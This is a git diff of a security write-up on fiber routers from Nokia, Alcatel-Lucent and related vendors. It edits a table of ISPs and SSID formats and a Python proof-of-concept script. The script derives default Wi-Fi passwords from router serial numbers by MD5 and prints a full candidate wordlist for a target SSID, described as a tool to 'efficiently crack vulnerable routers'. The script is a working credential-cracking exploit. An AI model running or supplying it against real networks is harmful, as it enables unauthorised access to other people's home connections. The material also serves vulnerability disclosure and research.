Compare commits

..

No commits in common. "master" and "master" have entirely different histories.

View File

@ -13,7 +13,6 @@ This type of connection requires different equipment than ADSL/VDSL and thus spe
Technicolor, along with Alcatel-Lucent, Nokia and Huawei are the leading manufactures of these devices and the suppliers for ISPs. Unsurprisingly, many different devices from even different companies have the same components and sometimes even share some software stack: below is a noncomprehensive table of confirmed and suspected devices having the same common problems described later. Apparently there's also a reseller called Zhone that customizes the same CPE for some ISPs. Eltex might be another one. Technicolor, along with Alcatel-Lucent, Nokia and Huawei are the leading manufactures of these devices and the suppliers for ISPs. Unsurprisingly, many different devices from even different companies have the same components and sometimes even share some software stack: below is a noncomprehensive table of confirmed and suspected devices having the same common problems described later. Apparently there's also a reseller called Zhone that customizes the same CPE for some ISPs. Eltex might be another one.
_UPDATE:_ Thanks to some contributions some ISPs not in the original XML files have been added and other have been updated.
| CODE | Country | ISP | Manufacturer | Model | SSID Format | | CODE | Country | ISP | Manufacturer | Model | SSID Format |
|---|---|---|---|---|---| |---|---|---|---|---|---|
@ -44,11 +43,9 @@ _UPDATE:_ Thanks to some contributions some ISPs not in the original XML files h
| LATT | Latvia | Lattelekom | Unknown | Unknown | `ALHN-%s` | | LATT | Latvia | Lattelekom | Unknown | Unknown | `ALHN-%s` |
| JPNX | Japan | Unknown | Unknown | Unknown | `ALHN-%s` | | JPNX | Japan | Unknown | Unknown | Unknown | `ALHN-%s` |
| LAOS | Laos | Sky Telecom | Unknown | Unknown | `SKYTEL-%4s` | | LAOS | Laos | Sky Telecom | Unknown | Unknown | `SKYTEL-%4s` |
| VIVA | Bulgaria | Vivacom | Unknown | Unknown | `VIVACOM_FiberNet-%4s` | | VIVA | Bulgaria | Vivacom | Unknown | Unknown | `VIVACOM_FiberNet` |
| PXSF | Belgium | Belgacom | Unknown | Unknown | Unspecified | | PXSF | Belgium | Belgacom | Unknown | Unknown | Unspecified |
| OCIT | Ivory Coast | Orange Ivory Coast | Nokia | G-240W-A | `ORANGEFIBER-%4s` | | OCIT | Ivory Coast | Orange Ivory Coast | Nokia | G-240W-A | `ORANGEFIBER-%4s` |
| Unknown | Caraibes | Canalbox Caraibes | Unknown | Unknown | `CANALBOX-%4s` |
| Unknown | Poland | Inea | Unknown | Unknown | `INEA-%4s` |
## FCC Infos ## FCC Infos
Different enclosures or slight variants of the same board can be identified by looking at the [documents published by Nokia for the FCC](https://fccid.io/2ADZR). Different enclosures or slight variants of the same board can be identified by looking at the [documents published by Nokia for the FCC](https://fccid.io/2ADZR).
@ -496,28 +493,28 @@ With this information we can write a PoC script that can produce a wordlist to e
import argparse, base64, hashlib, re import argparse, base64, hashlib, re
def genpwd_longpasswd(oui, serialnum): def genpwd_longpasswd(oui, serialnum):
def str2md5(string): def str2md5(string):
m = hashlib.md5() m = hashlib.md5()
m.update(string.encode("ascii")) m.update(string.encode("ascii"))
return m.digest() return m.digest()
#secret1 = "%s-ALCL%s" % (oui, serialnum) #secret1 = "%s-ALCL%s" % (oui, serialnum)
secret2 = "%s-01%u" % (oui, int(serialnum, 16)) secret2 = "%s-01%u" % (oui, int(serialnum, 16))
#md5_secret1 = str2md5(secret1) #md5_secret1 = str2md5(secret1)
md5_secret2 = str2md5(secret2) md5_secret2 = str2md5(secret2)
#wanpasswd = base64.b32encode(bytes(bytearray(md5_secret1[:16] + md5_secret2[:3]))).decode("ascii")[:30] #wanpasswd = base64.b32encode(bytes(bytearray(md5_secret1[:16] + md5_secret2[:3]))).decode("ascii")[:30]
lower = upper = 0 lower = upper = 0
for i in range(8): for i in range(8):
upper = (lower >> 0x18 | ((upper << 8)&0xffffffff))&0xffffffff upper = (lower >> 0x18 | ((upper << 8)&0xffffffff))&0xffffffff
lower = (((lower << 8)&0xffffffff) | md5_secret2[i + 8])&0xffffffff lower = (((lower << 8)&0xffffffff) | md5_secret2[i + 8])&0xffffffff
longpasswd = ((upper<<32)+lower)%0x2540be400 longpasswd = ((upper<<32)+lower)%0x2540be400
return longpasswd return longpasswd
parser = argparse.ArgumentParser(prog="poc", description="A poc script to efficiently crack vulnerable routers") parser = argparse.ArgumentParser(prog="poc", description="A poc script to efficiently crack vulnerable routers")
parser.add_argument("ssid", type=str, help="the ssid to attack") parser.add_argument("ssid", type=str, help="the ssid to attack")
@ -554,9 +551,8 @@ for s in ssids:
serialBytes = args.ssid serialBytes = args.ssid
for r in s.split("[A-F0-9]{4}"): for r in s.split("[A-F0-9]{4}"):
serialBytes = serialBytes.replace(r, "") serialBytes = serialBytes.replace(r, "")
for i in range(0xffff + 1): for i in range(0xffff):
candidate = genpwd_longpasswd(oui, "{:04x}{}".format(i, serialBytes)) print(genpwd_longpasswd(oui, "{:04x}{}".format(i, serialBytes)))
print(f"{candidate:010}")
break break
``` ```